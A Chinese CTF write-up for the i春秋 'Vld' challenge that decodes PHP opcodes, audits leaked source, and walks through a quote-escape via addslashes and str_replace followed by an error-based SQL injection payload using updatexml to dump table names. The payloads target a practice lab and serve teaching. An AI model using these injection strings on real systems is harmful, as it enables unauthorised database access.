i春秋——“百度杯”CTF比赛 十月场——Vld(Vulcan Logic Dumper php opcodesql 报错注入)

Posted 淚笑-l3yx

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了i春秋——“百度杯”CTF比赛 十月场——Vld(Vulcan Logic Dumper php opcodesql 报错注入)相关的知识,希望对你有一定的参考价值。

打开题目看到提示 "do you know Vulcan Logic Dumper?" ,再查看源码看到"<!-- index.php.txt ?>",访问后发现一堆看不懂的东西

 

这肯定就是所谓的Vulcan Logic Dumper了,先了解下相关概念

PHP内核-Zend引擎:http://www.php.cn/php-weizijiaocheng-355597.html

PHP中的opcode:https://blog.csdn.net/weiyuanke/article/details/76921476

Vulcan Logic Dumper:http://www.phppan.com/2011/05/vld-extension/

 

也就是说我们刚才看到的一堆代码其实就是借助vld得到的,php语言中供zend引擎执行的中间代码opcode。有了opcode便可以将其翻译成php代码。  网上也没找到翻译opcode的工具,只好借着对照表自己人工翻译了...

(opcode对照表:http://www.php.net/manual/en/internals2.opcodes.list.php)

这段代码比较简单,其实掌握下规律还是挺好分析的,这是我初步分析的结果

<?php
    echo\'do+you+know+Vulcan+Logic+Dumper%3F%3Cbr%3E\';
                               

    $0=$_GET[\'flag1\'];
                                

    $1=$_GET[\'flag2\']


    $2=$_GET[\'flag3\'];



        21      如果$0不等于\'fvhjjihfcv\'
        22      跳转到38行


        24      如果$1不等于\'gfuyiyhioyf\'
        25      跳转到35行


        27      如果$2不等于\'yugoiiyhi\'
        28      跳转到32行


        30      echo\'the+next+step+is+xxx.zip\';

        31      跳转到34行

        32      EXT_STMT

        33      echo\'false%3Cbr%3E\';
        
        34      跳转到37行

        35      EXT_STMT

        36      echo\'false%3Cbr%3E\';

        37      跳转到40行

        38      EXT_STMT

        39      echo\'false%3Cbr%3E\';

        40      NOP
        41      EXT_STMT

        42      echo%3C%21--+index.php.txt+%3F%3E%0D%0A%0D%0A\';
?>

 

进一步转换为php代码则为

 1 <?php
 2 
 3     echo \'do you know Vulcan Logic Dumper?<br>\';
 4     $a=$_GET[\'flag1\'];
 5     $b=$_GET[\'flag2\'];
 6     $c=$_GET[\'flag3\'];
 7 
 8     if($a!=\'fvhjjihfcv\')
 9     {
10         echo \'false<br>\';
11     }
12     elseif($b!=\'gfuyiyhioyf\')
13     {
14         echo \'false<br>\';
15     }
16     elseif($c!=\'yugoiiyhi\')
17     {
18         echo \'false<br>\';
19     }
20     else
21     {
22         echo \'the next step is xxx.zip\';
23     }
24 
25 
26     echo \'<!-- index.php.txt ?>\';
27 ?>

代码很简单,不用多解释

 

构造/?flag1=fvhjjihfcv&flag2=gfuyiyhioyf&flag3=yugoiiyhi

 

接着访问/1chunqiu.zip,下载完文件后解压,开始代码审计。

 

password经过md5加密,number只能是纯数字,所以都不存在注入点。但是username虽然经过addslashes()处理(单引号,反斜杠等前面都会被加上反斜杠而转义,防御sql注入),但是又再次被这句代码处理 "  $username = trim(str_replace($number, \'\', $username));  ",所以我们可以利用这里让单引号逃逸出来,这句代码来的很突兀,而且没什么意义,很明显故意的漏洞。

 

构造number=0&username=%00\' &password=3

看到数据库报错,说明单引号逃逸成功,当username提交 %00\' ,经过addslashes()处理后(addslashes()会在NULL前加 \\ ,0等于NULL)是  \\0\\\'。而number也是0,所以将从username中去掉0,username则变成  \\\\\'  ,单引号前的\\被\\转义,所以单引号逃逸成功,后台sql语句为 select * from`users`where username=\' \\\\ \' \'   ,可见多出一个单引号,当然报错。

 

由于没有数据回显点,所以考虑进行报错注入,number=0&username=%00\' and updatexml(1,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,41),1) #&password=x&submit=

测试多次,无论表名列名都有4个字符不显示,本来以为服务器会过滤掉这段4个字符的字符串,但是尝试部分截取也还是不显示。。。 猜到是flag,所以就直接查询了

注意语句中不要再出现0了,,被坑了好久,最后才发现。。

以上是关于i春秋——“百度杯”CTF比赛 十月场——Vld(Vulcan Logic Dumper php opcodesql 报错注入)的主要内容,如果未能解决你的问题,请参考以下文章

i春秋 百度杯”CTF比赛 十月场 login

i春秋——“百度杯”CTF比赛 十月场——Login

i春秋 “百度杯”CTF比赛 十月场 web题 Backdoor

i春秋——“百度杯”CTF比赛 十月场——GetFlag(md5碰撞文件包含网站绝对路径)

i春秋-百度杯十月场-vld

i春秋——“百度杯”CTF比赛 十月场——Not Found(http请求方法,client-ip伪造ip)